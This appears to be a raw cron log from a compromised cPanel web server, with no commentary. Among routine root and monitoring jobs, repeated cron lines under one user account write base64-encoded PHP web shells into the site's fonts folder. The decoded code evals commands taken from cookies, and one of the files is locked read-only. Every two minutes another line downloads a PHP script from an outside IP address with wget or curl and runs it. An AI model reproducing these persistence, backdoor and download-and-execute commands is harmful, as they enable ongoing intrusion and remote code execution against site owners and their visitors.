Sep  2 05:45:01 ip-184-168-122-23 CROND[22746]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 05:45:01 ip-184-168-122-23 CROND[22747]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:46:01 ip-184-168-122-23 CROND[22891]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 05:46:02 ip-184-168-122-23 CROND[22893]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 05:46:02 ip-184-168-122-23 CROND[22895]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 05:46:02 ip-184-168-122-23 CROND[22897]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:46:02 ip-184-168-122-23 CROND[22894]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:46:02 ip-184-168-122-23 CROND[22902]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  2 05:46:02 ip-184-168-122-23 CROND[22901]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 05:47:01 ip-184-168-122-23 CROND[23004]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 05:47:01 ip-184-168-122-23 CROND[23002]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:47:01 ip-184-168-122-23 CROND[23003]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:47:01 ip-184-168-122-23 CROND[23005]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 05:48:02 ip-184-168-122-23 CROND[23131]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 05:48:02 ip-184-168-122-23 CROND[23132]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:48:02 ip-184-168-122-23 CROND[23135]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 05:48:02 ip-184-168-122-23 CROND[23137]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 05:48:02 ip-184-168-122-23 CROND[23136]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:49:01 ip-184-168-122-23 CROND[23225]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 05:49:01 ip-184-168-122-23 CROND[23228]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 05:49:01 ip-184-168-122-23 CROND[23227]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:49:01 ip-184-168-122-23 CROND[23229]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:50:01 ip-184-168-122-23 CROND[23365]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 05:50:01 ip-184-168-122-23 CROND[23369]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 05:50:01 ip-184-168-122-23 CROND[23372]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 05:50:01 ip-184-168-122-23 CROND[23376]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:50:01 ip-184-168-122-23 CROND[23379]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 05:50:01 ip-184-168-122-23 CROND[23377]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:50:01 ip-184-168-122-23 CROND[23375]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 05:50:01 ip-184-168-122-23 CROND[23374]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 05:50:01 ip-184-168-122-23 CROND[23382]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 05:51:01 ip-184-168-122-23 CROND[23480]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 05:51:01 ip-184-168-122-23 CROND[23482]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:51:01 ip-184-168-122-23 CROND[23484]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:51:01 ip-184-168-122-23 CROND[23483]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 05:52:01 ip-184-168-122-23 CROND[23597]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:52:01 ip-184-168-122-23 CROND[23600]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 05:52:01 ip-184-168-122-23 CROND[23598]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 05:52:01 ip-184-168-122-23 CROND[23599]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 05:52:01 ip-184-168-122-23 CROND[23601]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:53:02 ip-184-168-122-23 CROND[23808]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 05:53:02 ip-184-168-122-23 CROND[23809]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 05:53:02 ip-184-168-122-23 CROND[23810]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:53:02 ip-184-168-122-23 CROND[23812]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:54:01 ip-184-168-122-23 CROND[23917]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 05:54:01 ip-184-168-122-23 CROND[23919]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 05:54:01 ip-184-168-122-23 CROND[23921]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 05:54:01 ip-184-168-122-23 CROND[23920]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:54:01 ip-184-168-122-23 CROND[23918]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:55:01 ip-184-168-122-23 CROND[24070]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:55:01 ip-184-168-122-23 CROND[24072]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 05:55:01 ip-184-168-122-23 CROND[24077]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 05:55:01 ip-184-168-122-23 CROND[24075]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:55:01 ip-184-168-122-23 CROND[24078]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 05:55:01 ip-184-168-122-23 CROND[24076]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 05:56:01 ip-184-168-122-23 CROND[24201]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 05:56:01 ip-184-168-122-23 CROND[24204]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 05:56:01 ip-184-168-122-23 CROND[24203]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:56:01 ip-184-168-122-23 CROND[24206]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:56:01 ip-184-168-122-23 CROND[24205]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 05:57:01 ip-184-168-122-23 CROND[24309]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:57:01 ip-184-168-122-23 CROND[24311]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 05:57:01 ip-184-168-122-23 CROND[24310]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
